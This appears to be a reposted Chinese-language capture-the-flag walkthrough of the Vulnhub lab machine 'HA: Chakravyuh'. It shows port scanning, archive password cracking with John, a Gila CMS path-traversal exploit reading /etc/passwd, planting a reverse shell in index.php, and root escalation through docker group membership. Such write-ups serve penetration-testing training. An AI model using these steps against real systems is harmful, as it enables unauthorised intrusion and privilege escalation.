HA: Chakravyuh Vulnhub Walkthrough

靶机链接:

https://www.vulnhub.com/entry/ha-chakravyuh,388/

主机探测扫描:

HA: Chakravyuh Vulnhub Walkthrough_第1张图片 

端口扫描:

╰─ nmap -p- -sC -sV 10.10.202.131

HA: Chakravyuh Vulnhub Walkthrough_第2张图片

 

FTP 匿名访问

HA: Chakravyuh Vulnhub Walkthrough_第3张图片

 

下载压缩文件,解压缩需要密码,基本套路一直,需要密码,接下来就是找解压密码的事情了

HA: Chakravyuh Vulnhub Walkthrough_第4张图片

 

目录枚举下

HA: Chakravyuh Vulnhub Walkthrough_第5张图片

 

 

phpmyadmin 尝试弱口令密码爆破未果

phpmyadmin 版本为4.6.6 无RCE之类的漏洞

那么尝试爆破下载的7z格式的压缩包文件

这里使用的工具:

https://github.com/truongkma/ctf-tools/blob/master/John/run/7z2john.py

python 7z2ctf.py arjun.7z > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
john hash --show
arjun.7z:family

解压密码为:family

解码获取的secret.txt的内容为:

Z2lsYTphZG1pbkBnbWFpbC5jb206cHJpbmNlc2E=

base64解码为:gila:[email protected]:princesa

gila为一个cms系统,尝试访问看看

HA: Chakravyuh Vulnhub Walkthrough_第6张图片

 

登录后台:http://10.10.202.131/gila/admin

[email protected]:princesa

这里用到的exp https://www.exploit-db.com/exploits/47407

http://10.10.202.131/gila/admin/fm/?f=src../../../../../../../../../etc/passwd

浏览到系统目录文件,尝试编辑index.php 添加反shell代码进去,保存,访问即可弹回shell

HA: Chakravyuh Vulnhub Walkthrough_第7张图片

 

python -c 'import pty;pty.spawn("/bin/bash")'

提权操作:

find / -perm -u=s -type f 2>/dev/null

find / -perm -g=s -type f 2>/dev/null

cat /etc/crontab

ls -lh /etc/passwd

netstat -tunlp

没找到可提权的程序,最后发现当前账户的属组是docker组的,大家都知道docker运行基本都是root权限的身份去执行的

docker run -v /root:/mnt -it alpine

此命令的意思是:docker运行一个交互式的Linux系统alpine,挂载系统的/root 目录到/mnt目录下,这样就可以获取到root目录下的文件内容了。或者直接写root的crontab 等

HA: Chakravyuh Vulnhub Walkthrough_第8张图片

HA: Chakravyuh Vulnhub Walkthrough_第9张图片

 

OVER!!

你可能感兴趣的:(HA: Chakravyuh Vulnhub Walkthrough)